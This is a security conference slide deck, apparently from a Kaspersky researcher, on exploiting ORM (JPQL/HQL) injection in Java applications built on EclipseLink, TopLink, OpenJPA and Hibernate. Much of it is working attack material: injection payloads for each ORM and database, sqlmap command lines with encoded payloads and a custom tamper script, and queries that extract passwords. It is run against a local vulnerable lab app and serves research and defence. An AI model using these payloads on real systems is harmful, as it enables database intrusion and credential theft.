New Methods for Exploiting ORM Injections in Java Applications

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SERGEY SOLDATOV




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- ♦ Head of SOC at Kaspersky lab
- @svsoldatov
- ♦ reply-to-all.blogspot.com (mostly in Russian 🗵)

AGENDA

- **♦** INTRO
- ♦ ORM Injections basics
- **\Delta** Exploitation techniques
 - Δ EclipseLink [1 method]
 - Δ TopLink [1 method]
 - Δ OpenJPA [2 methods]
 - Δ Hibernate [5 methods]
- ♦ OUTRO

INTRO

Why ORM?



Why ORM?

- ♦ Some advantages over plain JDBC
 - Δ Work with objects rather than DB tables
 - Δ Simplifies development process
 - Δ No need to deal with the database implementation
 - Δ Hides details of SQL queries from application logic

What is JPA?

♦ Java Persistence API – API for working with ORM

```
△ JPA 1.0 [ May 2006 ]
```

 \triangle JPA 2.0 [December 2009]

 Δ JPA 2.1 [April 2013]

♦ Most ORM libraries support JPA 2.0

Diversity of ORM libraries

- ♦ Hibernate ORM
- **♦** EclipseLink
- **♦** TopLink
- **♦** OpenJPA

- [WildFly and Jboss]
- [Glassfish]
- [Oracle WebLogic]
- [TomEE and IBM WAS]

Special query language for JPA

- ♦ Java Persistence Query Language [JPQL] for mapping between
 DB tables and Java objects
- ♦ Hibernate Query Language [HQL] is superset for JPQL

Criteria API since JPA 2.0

- ♦ Another way of expressing ORM queries
- ♦ Programmatic queries [interfaces and classes exists to represent various structural parts of a query]
- ♦ Criteria queries are checked at program compile time

ORM Injections basics


ORM injections nature

- ♦ They are also called JPQL or HQL injections
- The nature of ORM injections is similar to SQL injections


ORM injection example

♦ Parameter **name** is vulnerable to ORM injection

SQL injection versus ORM injection



SQL injection versus ORM injection



Frustration from ORM injection exploitation

- ♦ Weird and limited language [JPQL or HQL]
- DB tables that are not mapped to entities are not accessible
- ♦ Favorite tools [sqlmap] are not working



ORM injections in the wild

- ♦ [not disclosed]
- ♦ OpenBravo ERP HQLi [2015]

http://www.securityfocus.com/archive/1/537268

♦ Novell Service Desk HQLi [CVE-2016-1595]

https://www.novell.com/support/kb/doc.php?id=7017430

ORM injections playground

♦ We wrote vulnerable JavaApp for studying ORM injections

https://github.com/Oang3el/HQLi-playground

HOW ORM actually works

Parse JPQL/HQL query and build JPQL/HQL AST

Translate
JPQL/HQL AST
into SQL AST

Build SQL query from SQL AST





EclipseLink ORM

EL ORM has **FUNCTION** (formerly **FUNC**) to call DB specific functions:

♦ JPQL Statement

```
... FUNCTION ('bla-bla-bla', 'bla2', 'bla3')...
```

♦ Translated into SQL's

...bla-bla('bla2', 'bla3')... without any care about what specified in 'bla-bla-bla'

♦ JPQL Statement :

```
... FUNCTION('(select count(1) from table where 1=1)>0 and length', 'qq')=2 ...
```

♦ Translated into SQL:

```
... (select count(1) from table where 1=1)>0 and length('qq')=2 ...
```

♦ Sqlmap exploitation

```
# sqlmap -u
"http://localhost:8080/hqli.playground/dummy%27%
20and%20function(%27(select%201%20where%201%3D1*
)%3D1%20and%20length%27%2C%27qq%27)%3D2%20and%20
%27s%27%20%3D%20%27s"
--dbms="PostgreSQL" --technique B -b
```

* - injection point for sqlmap

♦ Exploitation Demo

```
root@kali: "
                                                                                                  _ 🗆 ×
File Edit View Search Terminal Help
   ot@kali:~# sqlmap -u "http://192.168.66.12:8080/hqli.playground/dummy' and function('(select count(
1) from information schema.tables where 1=1*)>0 and length', 'qq')=2 and 's' = 's" --dbms="PostgreSQL
  --technique B -b -v 0
                          {1.0-dev-nongit-201601250a89}
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws. Developers
assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 18:23:56
custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
sqlmap resumed the following injection point(s) from stored session:
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
   Payload: http://192.168.66.12:8080/hqli.playground/dummy' and function('(select count(1) from inf
ormation schema.tables where 1=1 AND 6301=6301)>0 and length','qq')=2 and 's' = 's
web application technology: Servlet 3.1, JSP 2.3
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: PostgreSOL
           'PostgreSQL 9.3.9 on x86 64-unknown-linux-gnu, compiled by gcc (Ubuntu 4.8.4-2ubuntu1~14.0
4) 4.8.4. 64-bit
[*] shutting down at 18:24:20
```



TopLink ORM

The same story as with **FUNCTION** in EclipseLink:

SQL

Use SQL to integrate SQL within a JPQL statement. This provides an alternative to using native SQL queries simply because the query may require a function not supported in JPQL.

https://docs.oracle.com/middleware/1221/toplink/jpa-extensions-reference/jpql.htm#TLJPA626

♦ JPQL Statement:

```
... SQL('(select 1 where 1=1)=1') ...
```

♦ Translated into SQL:

```
... (select 1 where 1=1) = 1 ...
```

Example 3-12 Using SQL EQ

```
SELECT p FROM Phone p WHERE SQL('CAST(? AS CHAR(3))', e.areaCode) = '613'

SELECT SQL('EXTRACT(YEAR FROM ?)', e.startDate) AS year, COUNT(e) FROM Employee e GROUP BY year

SELECT e FROM Employee e ORDER BY SQL('? NULLS FIRST', e.startDate)

SELECT e FROM Employee e WHERE e.startDate = SQL('(SELECT SYSDATE FROM DUAL)')
```

♦ True

dummy' and SQL('(SELECT 1)=1') and '1'='1

```
http://127.0.0....20and%20'1'='1 × +

(i) | 127.0.0.1:7001/hqli.playground/dummy' and SQL('(SELECT 1)=1') and '1'='1
```

[{"id":1, "name": "dummy"}]

♦ False

dummy' and SQL('(SELECT 1)=2') and '1'='1



♦ Sqlmap exploitation

```
# sqlmap -u
"http://localhost:8080/hqli.playground/dummy%27%
20and%20SQL(%27(select%201%20where%201%3D1*)%3D1
%27)%20and%20%27s%27%20%3D%20%27s"
--dbms="PostgreSQL" --technique B -b
```

* - injection point for sqlmap



Apache OpenJPA ORM

WRONG SINGLE QUOTE PROC. method

- OpenJPA process single quote (') in a strange way:
 - ♦ Substitute sequence of two by one
 - **♦ AFTER** its syntax check

♦ This behavior can hide SELECT-statements within string

WRONG SINGLE QUOTE PROC. method

```
In ... and '1'='1" and (select 1 where 1=1) = "1' and ...
```

- ♦ ORM sees: and '1'='1" and (select 1 where 1=1) = "1' and

 String with correctly quoted within it
- ♦ DBMS gets: and '1'='1' and (select 1 where 1=1) = '1' and Bool SQL expression – TRUE

WRONG SINGLE QUOTE PROC. method

♦ Sqlmap exploitation

```
# sqlmap -u
   "http://localhost:8080/hqli.playground/dummy%27%
   20and%20%20%271%27%3D%271%27%27%20and%20(select%
   201%20where%201%3D1*)%20%3D%20%27%271%27%20and%2
   0%271%27%3D%271"
   --dbms="PostgreSQL" --technique B -b
```

* - injection point for sqlmap

QUOTES INDIFFERENCE method

- OpenJPA allows interchangeable use of single quotes and double quotes:
 - ♦ "bla bla bla' correct string definition

♦ This behavior can hide SELECT-statements within string

QUOTES INDIFFERENCE method

```
In ... and "a' = 'a' and (select 8 where 1=1)=8 and 'b" = 'b' ...
```

- ♦ ORM sees: and "a' = 'a' and (select 8 where 1=1)=8 and 'b" = 'b'
 String in " quotes
- DBMS gets: and 'a' = 'a' and (select 8 where 1=1)=8 and 'b' = 'b'

 Bool SQL expression TRUE

QUOTES INDIFFERENCE method

♦ Sqlmap exploitation

```
# sqlmap -u
"http://localhost:8080/hqli.playground/dummy%27%
20and%20%22a%27%3D%27a%27%20and%20(select%208%20
where%201%3D1*)%3D8%20and%20%27bb%22%3D%27bb"
--dbms="PostgreSQL" --technique B -b
```

* - injection point for sqlmap



Hibernate ORM

♦ Method works for MySQL DBMS which escapes SINGLE QUOTES in strings with SLASH [\']

♦ In HQL SINGLE QUOTES is escaped in strings by doubling ["]

♦ In MySQL [it is a string and additional SQL expression]

```
'abc\''or 1=(select 1)--'
```

♦ Inject into vulnerable parameter

```
dummy\'' or 1<length((select version())) --
  ♦ HQL
SELECT p FROM pl.btbw.persistent.Post p where p.name='dummy\'' or
1<length((select version())) -- '</pre>
  ♦ SQL
```

where post0 .name='dummy\'' or 1<length((select version())) -- '</pre>

♦ Sqlmap exploitation

```
# sqlmap -u
"http://localhost:8080/hqli.playground/dummy%5C%
27%27%20or%201%3Clength%28%28select%20version%28
%29%20from%20dual%20where%201=1*%29%29%20--%20"
--dbms="MySQL" --technique B -b -v 0
```

- ♦ Method works for DBMS which allow DOLLAR-QUOTED strings in SQL expressions [\$\$aaa'bbb\$\$]
 - △ PostgreSQL
 - \triangle H2

http://www.postgresql.org/docs/9.0/static/sql-syntax-lexical.html

http://www.h2database.com/html/grammar.html#dollar quoted string

Hibernate ORM allows identifiers starting with \$\$

https://github.com/hibernate/hibernate-orm/blob/master/hibernate-core/src/main/antlr/hql.g

♦ Inject into vulnerable parameter

```
$$='$$=concat(chr(61),chr(39)) and 1=1--'
$\frac{\lambda}{\text{HQL}}$$
$$=\$$=\concat(chr(61),chr(39)) and 1=1--'
$\frac{\lambda}{\text{SQL}}$$
$$$=\$$=\concat(chr(61),chr(39)) and 1=1--'
```

♦ Sqlmap exploitation

```
# sqlmap -u
"http://localhost:8080/hqli.playground/dum
my%27%20and%20%24%24%3D%27%24%24%3Dconcat(
chr(61)%2Cchr(39))%20and%201%3D1*--"
--dbms="PostgreSQL" --technique B -b
```

- ♦ Method works for DBMS which have **MAGIC FUNCTIONS** which evaluate SQL expression in string parameter
 - △ PostgreSQL
 - Δ Oracle

♦ Hibernate allows to specify any function name in HQL expression

♦ PostgreSQL has built-in function query_to_xml('Arbitrary SQL')

♦ It is possible to know if the SQL returns 0 rows or >0

```
array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true,
false,'')),1)
```

♦ Inject into vulnerable parameter

```
dummy' and array_upper(xpath('row',query_to_xml('select 1 where
1337>1',true,false,'')),1)=1 and '1'='1
```

♦ HQL query

```
SELECT p FROM hqli.persistent.Post p where p.name='dummy' and
array_upper(xpath('row', query_to_xml('select 1 where
1337>1',true,false,'')),1)=1 and '1'='1'
```

```
select post0_.id as id1_0_, post0_.name as name2_0_ from post
post0_ where post0_.name='dummy' and array_upper(xpath('row',
query_to_xml('select 1 where 1337>1', true, false, '')), 1)=1 and
'1'='1'
```

♦ Sqlmap exploitation

```
# sqlmap -u
"http://localhost:8080/hqli.playground/dummy%27%20and
%20array_upper%28xpath%28%27row%27%2Cquery_to_xml%28%27s
elect%201%20where%201337%3E1*%27%2Ctrue%2Cfalse%2C%2
7%27%29%29%2C1%29%3D1%20and%20%271%27%3D%271"
--dbms="PostgreSQL" --technique B -b -v 0
```

https://www.youtube.com/watch?v=6WeUxAmYgHQ

♦ Oracle has built-in function **DBMS_XMLGEN.getxml('SQL')**

♦ It is possible to know if the SQL returns 0 rows or >0

NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'

♦ Sqlmap exploitation

```
# sqlmap -u
"http://localhost:8080/hqli.playground/dummy%27%20an
d%20NVL(TO_CHAR(DBMS_XMLGEN.getxml(%27select%201%20f
rom%20dual%20where%201337>1*%27)),%271%27)!=
%271%27%20and%20%271%27=%271"
--dbms="Oracle" --technique B -b -v 0
```

- ♦ Method works for DBMS which allow UNICODE delimiters [Ex. U+00A0] between SQL tokens
 - Δ Microsoft SQL Server
 - Δ H2

♦ In Microsoft SQL SERVER

```
SELECT LEN([U+00A0] (select[U+00A0] (1))

works the same as
```

SELECT LEN((SELECT(1)))

♦ List of UNICODE delimiters for Microsoft SQL Server

```
U+00A0%C2%A0No-break spaceU+3000%E3%80%80Ideographic space... etc ...
```

♦ HQL allows UNICODE symbols in identifiers [function or parameter names]

```
IDENT options { testLiterals=true; }

: ID_START_LETTER ( ID_LETTER )*

{ setPossibleID(true); }

;

protected

ID_START_LETTER
: '_'
| '$'
| 'a'...'z'
| '\u0080'...\\ufffe' // HHH-558 : Allow unicode chars in identifiers
;

protected

ID_LETTER
: ID_START_LETTER
| '0'...'9'
:
```

https://github.com/hibernate/hibernate-orm/blob/master/hibernate-core/src/main/antlr/hql.g

♦ Inject into vulnerable parameter

```
dummy' or
1<LEN(%C2%A0(select%C2%A0top%C2%A01%C2%A0name%C2%A0from%C2%A0users)) or
'1'='11</pre>
```

```
http://12...27=%2711 × Preferences × +

127.0.0.1:8080/hqli.playground/dummy' or 1<LEN(%C2%A0(select%C2%A0top%C2%A01%C2%A0name%C2%A0from%C2%A0users)) or '1'='11

Most Visited Toffensive Security Kali Linux Kali Docs Exploit-DB Aircrack-ng Connecting...

[{"id":1,"name":"dummy"},{"id":2,"name":"test"},{"id":3,"name":"hacker"}]
```

```
SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1<LEN( (select top 1 name from users)) or '1'='11'
```

♦ HQL AST [for part marked yellow]

```
SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1<LEN( (select top 1 name from users)) or '1'='11'
```

We wrote script hqli_sql_server_demo.pl for exploitation

https://github.com/Oang3el/Hibernate-Injection-Study

https://www.youtube.com/watch?v=m MTWZptXUw

♦ For exploitation with Sqlmap we wrote custom queries.xml and hibernate.py tamper script

https://github.com/Oang3el/Hibernate-Injection-Study

♦ Extract 1st value from PASSW column

```
SELECT TOP 1 PASSW FROM users WHERE PASSW NOT IN (SELECT TOP 0 PASSW FROM users WHERE 0 not like LEN('xxx'))
```

♦ Extract 2nd column from PASSW column

```
SELECT TOP 1 PASSW FROM users WHERE PASSW NOT IN (SELECT TOP 1 PASSW FROM users WHERE 0 not like LEN('xxx'))
```

♦ Extract 8th column from PASSW column

```
SELECT TOP 1 PASSW FROM users WHERE PASSW NOT IN (SELECT TOP 7 PASSW FROM users WHERE 0 not like LEN('xxx'))
```

♦ Find injection

```
# sqlmap -u "http://localhost:8080/hqli.playground/dummy'
and 1=1* and '1'='1" --dbms="Microsoft SQL Server"
--technique B -b --no-cast --no-escape --flush
```

♦ Exploit it

```
# sqlmap -u "http://localhost:8080/hqli.playground/dummy'
and 1=1* and '1'='1" --dbms="Microsoft SQL Server"
--technique B -b --tamper hibernate --no-cast
--no-escape
```

Exploitation Demo

```
root@kali: "
File Edit View Search Terminal Help
  ot@kali:~# sqlmap -u "http://127.0.0.1:8080/hqli.playground/dummy' and 1=1* and '1'='1" --dbms="Micr
osoft SQL Server" --technique B -b --tamper hibernate --no-cast --no-escape -v 0
                          {1.0-dev-nongit-201601250a89}
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. :
t is the end user's responsibility to obey all applicable local, state and federal laws. Developers as
sume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 21:13:45
sqlmap resumed the following injection point(s) from stored session:
Parameter: #1* (URI)
   Type: boolean-based blind
   Title: AND boolean-based blind - WHERE or HAVING clause
   Payload: http://127.0.0.1:8080/hqli.playground/dummy' and 1=1 AND 5495=5495 and '1'='1
back-end DBMS: Microsoft SOL Server 2008
banner: '11.0.2100.60'
[*] shutting down at 21:13:55
  ot@kali:~#
```

- Method works for most DBMS [does not work for MySQL]
- ♦ Hibernate resolves Java public static fields [Java constants] in HQL queries
 - △ Class with Java constant must be in classpath
 - Δ Ex. java.lang.Character.SIZE is resolved to 16
 - Δ String or char constants are additionally surrounded by single quotes
 - X java.lang.Character.MIN_VALUE is resolved to "

♦ To use JAVA CONSTANTS method we need special char or string fields declared in classes or interfaces on classpath

```
public class Constants {
    public static final String S_QUOTE = "'";
    public static final String HQL_PART = "select * from Post where name = '";
    public static final char C_QUOTE_1 = '\'';
    public static final char C_QUOTE_2 = '\047';
    public static final char C_QUOTE_3 = 39;
    public static final char C_QUOTE_4 = 0x27;
    public static final char C_QUOTE_5 = 047;
}
```

♦ To use JAVA CONSTANTS method we need special char or string fields declared in classes or interfaces on classpath

```
public interface MyInterface {
    static final String S_QUOTE = "'";
    static final String HQL_PART = "select * from Post where name = '";
    static final char C_QUOTE_1 = '\'';
    static final char C_QUOTE_2 = '\047';
    static final char C_QUOTE_3 = 39;
    static final char C_QUOTE_4 = 0x27;
    static final char C_QUOTE_5 = 047;
}
```

Some usable constants in well-known Java libraries

```
Δ org.apache.batik.util.XMLConstants.XML_CHAR_APOS [ Apache Batik ]
Δ com.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTE [ ICU4J ]
Δ jodd.util.StringPool.SINGLE_QUOTE [ Jodd ]
Δ ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR [ Logback ]
Δ cz.vutbr.web.csskit.OutputUtil.STRING_OPENING [ jStyleParser ]
Δ com.sun.java.help.impl.DocPConst.QUOTE [ JavaHelp ]
Δ org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE[ EclipseHelp ]
```

♦ Inject into vulnerable parameter

```
dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and
  (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1
```

```
Connecting... 

Connecting...
```

```
SELECT p FROM hqli.persistent.Post p where p.name='dummy' and
hqli.persistent.Constants.C_QUOTE_1 * X('<>CHAR(41) and (select count(1)
from sysibm.sysdummy1)>0 --')=1 and '1'='1'
```

♦ HQL AST [for marked part]

```
+-[EQ] Node: '='
| +-[DOT] Node: '.'
| | +-[IDENT] Node: 'p'
| | \-[IDENT] Node: 'name'
| \-[QUOTED_STRING] Node: ''dummy''
\-[EQ] Node: '='
+-[STAR] Node: '*'
| +-[JAVA_CONSTANT] Node: 'hqli.persistent.Constants.C_QUOTE_1'
| \-[METHOD_CALL] Node: '('
| +-[IDENT] Node: 'X'
| \-[EXPR_LIST] Node: 'exprList'
| \-[QUOTED_STRING] Node: ''<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --''
\-[NUM_INT] Node: '1'
```

```
SELECT p FROM hqli.persistent.Post p where p.name='dummy' and hqli.persistent.Constants.C_QUOTE_1 * X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1'
```

♦ HQL AST

```
+-[EQ] Node: '='
| +-[DOT] Node: '.'
| | +-[IDENT] Node: 'p'
| | \-[IDENT] Node: 'name'
| \-[QUOTED_STRING] Node: ''dummy''
\-[EQ] Node: '='
+-[STAR] Node: '*'
| +-[JAVA_CONSTANT] Node: 'hqli.persistent.Constants.C_QUOTE_1'
| \-[METHOD_CALL] Node: '('
| +-[IDENT] Node: 'X'
| \-[EXPR_LIST] Node: 'exprList'
| \-[QUOTED_STRING] Node: ''<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --''
\-[NUM_INT] Node: '1'
```

```
SELECT p FROM hqli.persistent.Post p where p.name='dummy' and
hqli.persistent.Constants.C_QUOTE_1 * X('<>CHAR(41) and (select count(1)
from sysibm.sysdummy1)>0 --')=1 and '1'='1'
```

♦ SQL AST

```
\-[EQ] BinaryLogicOperatorNode: '='
+-[STAR] BinaryArithmeticOperatorNode: '*' {dataType=org.hibernate.type.DoubleType@3bd5ea0c}

| +-[JAVA_CONSTANT] JavaConstantNode: 'hqli.persistent.Constants.C_QUOTE_1'

| \-[METHOD_CALL] MethodNode: '('

| +-[METHOD_NAME] IdentNode: 'X' {originalText=X}

| \-[EXPR_LIST] SqlNode: 'exprList'

| \-[QUOTED_STRING] LiteralNode: ''<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --''
\-[NUM_INT] LiteralNode: '1'
```

♦ Java constant is **not resolved** on SQL AST phase, resolution will happen next, when SQL query is formed from SQL AST

♦ HQL query

```
SELECT p FROM hqli.persistent.Post p where p.name='dummy' and hqli.persistent.Constants.C_QUOTE_1 * X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1'
```

♦ Corresponding SQL query

```
select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_ where
post0_.name='dummy' and '''*X('<>CHAR(41) and (select count(1) from
sysibm.sysdummy1)>0 --')=1 and '1'='2'
```

♦ Char constant hqli.persistent.Constants.C_QUOTE_1 was translated to "

♦ True

```
dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and
  (select count(1) from sysibm.sysdummy1 where 1=1)>0 --')=1 and
'1'='2
```

```
http://12...%27=%272 *  

127.0.0.1:8080/hqli.playground/dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1 where 1=1)>0 --')=1 and '1'='2

Most Visited  
Offensive Security  
Kali Linux  
Kali Docs  
Exploit-DB  
Aircrack-ng  
Connecting...
```

♦ False

```
dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and
  (select count(1) from sysibm.sysdummy1 where 1=2)>0 --')=1 and
'1'='2
```

```
http://12...%27=%272 × +

127.0.0.1:8080/hqli.playground/dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1 where 1=2)>0 --')=1 and '1'='2

Most Visited    Offensive Security    Kali Linux    Kali Docs    Exploit-DB    Aircrack-ng    Connecting...
```

♦ Sqlmap exploitation

```
# sqlmap -u
"http://localhost:8080/hqli.playground/dummy%27%20and%20h
qli.persistent.Constants.C_QUOTE_1%2aX%28%27%3C%3ECHAR%28
41%29%20and%20%28select%20count%281%29%20from%20sysibm.sy
sdummy1%20where%201=1*%29%3E0%20--
%27%29=1%20and%20%271%27=%272"
--dbms="DB2" --technique B -b -v 0
```

Exploitation Demo



OUTRO

HOW TO IDENTIFY ORM

Hibernate	WildFly	\dots and 1bi = 1bd and \dots
	Jboss	
EclipseLink	Glassfish	and FUNCTION($'1=1$ and $', '2')='2'$ and
TopLink	WebLogic	and $SQL('1=1')$ and
OpenJPA	TomEE	and "1"='1' and
	WAS	

ORM Injection methods summary

	Hibernate					EclipseLink TopLink	OpenJPA
Method	Postgre SQL	Oracle	MS SQL	DB2 sqlite etc	MySQL	Any DBMS	Any DBMS
DBMS magic function	X	X					
\$-quoted string	X						
Unicode			X				
Single quote escaping					X		
Java constants	X	X	X	X			
ORM magic function						X	
Wrong single quote proc							X
Quotes indifference							X

